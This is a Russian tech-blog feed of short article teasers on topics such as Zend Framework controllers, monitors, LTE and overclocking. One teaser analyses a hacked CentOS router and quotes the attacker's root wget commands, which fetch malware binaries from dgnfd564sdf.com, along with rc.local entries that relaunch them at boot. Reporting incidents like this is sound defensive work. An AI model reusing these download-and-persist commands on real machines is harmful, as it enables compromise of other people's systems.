Доклад с прошлогодней конференции специалистов системного и бизнеса анализа — Analyst Days 2013 года от старшего аналитика питерского офиса компании DELL — Петрашева Дмитрия
На странице доклада можно найти презентацию и видео, а здесь текст…
Доклад с прошлогодней конференции специалистов системного и бизнеса анализа — Analyst Days 2013 года от старшего аналитика питерского офиса компании DELL — Петрашева Дмитрия
На странице доклада можно найти презентацию и видео, а здесь текст…
Добрый день коллеги, сегодня я расскажу сказку о своём опыте организации контроллеров в проекте на ZF 1 (так исторически сложилось).
В хороших книжках по ООП часто пишут, что наследованием нельзя увлекаться, нужно предпочитать делегирование или делать так, чтобы они работали совместно. К сожалению, не всегда можно быстро догадаться, как применить сухую теорию на практике (а когда наконец-то доходит, удивляешься «что тут сложного?»), поэтому надеюсь мой опыт кому-нибудь пригодится.
И так сначала о проблемной области:
31 Controller Action, большинство из них имеет методы indexAction(), addAction(), editAction(), searchAction().
проблема №1: большинство, но не все. В остальных наличие этих методов варьируется,
проблема №2: методы editAction() и addAction() массивные сами по себе, и почти одинаковые для всех контроллеров, отличаются инициализация формы, и сохранение модели.
Как я это решил, покажу сразу в коде.
Читать полностью »
Компания EIZO пополнила ассортимент мониторов семейства ColorEdge двумя новыми моделями: CG277 и CX271. Обе модели оснащаются 27-дюймовыми панелями IPS разрешением 2560 х 1440 точек.
Спешим обрадовать наших клиентов и «порадовать» конкурентов: сегодня «МегаФон» осуществил запуск сети новейшего стандарта LTE-Advanced. Его можно назвать стандартом 4G+.
Запуск состоялся не на бумаге, новая сеть доступна уже сейчас. Это первая в мире действующая сеть стандарта LTE-Advanced, обеспечивающая рекордную скорость передачи данных до 300 Мбит/сек. Причём стоимость услуг в ней такая же, как и в сетях 3G и 4G, то есть цена для абонентов никак не изменится.
Читать полностью »
64-разрядные однокристальные платформы представили уже практически все крупные игроки данного рынка. Очередной новинкой стала SoC Armada Mobile PXA1928 производства Marwell. В конфигурацию платформы вошли четыре процессорных ядра Cortex-A53 с частотой до 1,5 ГГц и GPU Vivante GC5000.
Дорогие хаброжители, мы запустили небольшой проект, который рассказывает о разгоне в формате видео. В первом видеоролике мы подготовили 2-х минутное видео, в котором пошагово показали, как разогнать оперативную память Corsair Dominator Platinum CL10 CMD16GX3M4A2666C10 до частоты 2800 МГц. Данная память основана на микросхемах Samsung 2 Gbit ревизии D с маркировкой K4B2G0846D. Если у вас есть память на таких же микросхемах, то это видео поможет вам получить небольшую прибавку производительности. В основе тестового стенда мы использовали процессор Intel Core i7-4770K и материнскую плату ASUS Maximus VI Impact. Если у вас есть сложности с разгоном или вы не знаете, как что-то разогнать, пишите в комментариях, мы постараемся вам помочь или снимем для вас видеоурок. Приятного просмотра!Читать полностью »
Написал мне вчера lfatal1ty, говорит, домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd и xfsdxd, запущенные из /etc:
root 4741 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root 4753 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root 4756 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root 4757 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root 4760 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root 4764 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root 4767 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/skysapd
К сожалению, процессы не додумался скопировать
Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd
«Хмм, ладно», подумал я. Полез в root'овский crontabЧитать полностью »
Простая и короткая статья. Из серии «на заметку хозяйке».
Есть гибкая система сканирования кода на соответствие правилам, метрикам (полезным, типа цикломатической сложности), и так далее.
Называется Sonar.
Пара скриншотов на живых данных под катом.
Читать полностью »
В будущем традиционное обучение точным наукам может быть дополнено не только MOOC (Massive Open Online Courses) курсами, но и курсами в «следящих» интеллектуальных обучающих программах. Такие программы способны до некоторой степени оценить решение студента на завершенность и правильность, а также предоставить подсказки по решению. На рисунке ниже — интерфейс ввода решения задачи в «следящей» обучающей программе, разработанной нашим коллективом:
Компания ZTE привезла на MWC 2014 планшетофон ZTE Grand Memo II LTE. О том, что производитель посчитал именно это устройство изюминкой своей экспозиции, говорит использование его названия в оформлении павильона.
Аппарат будет доступен в белом варианте оформления.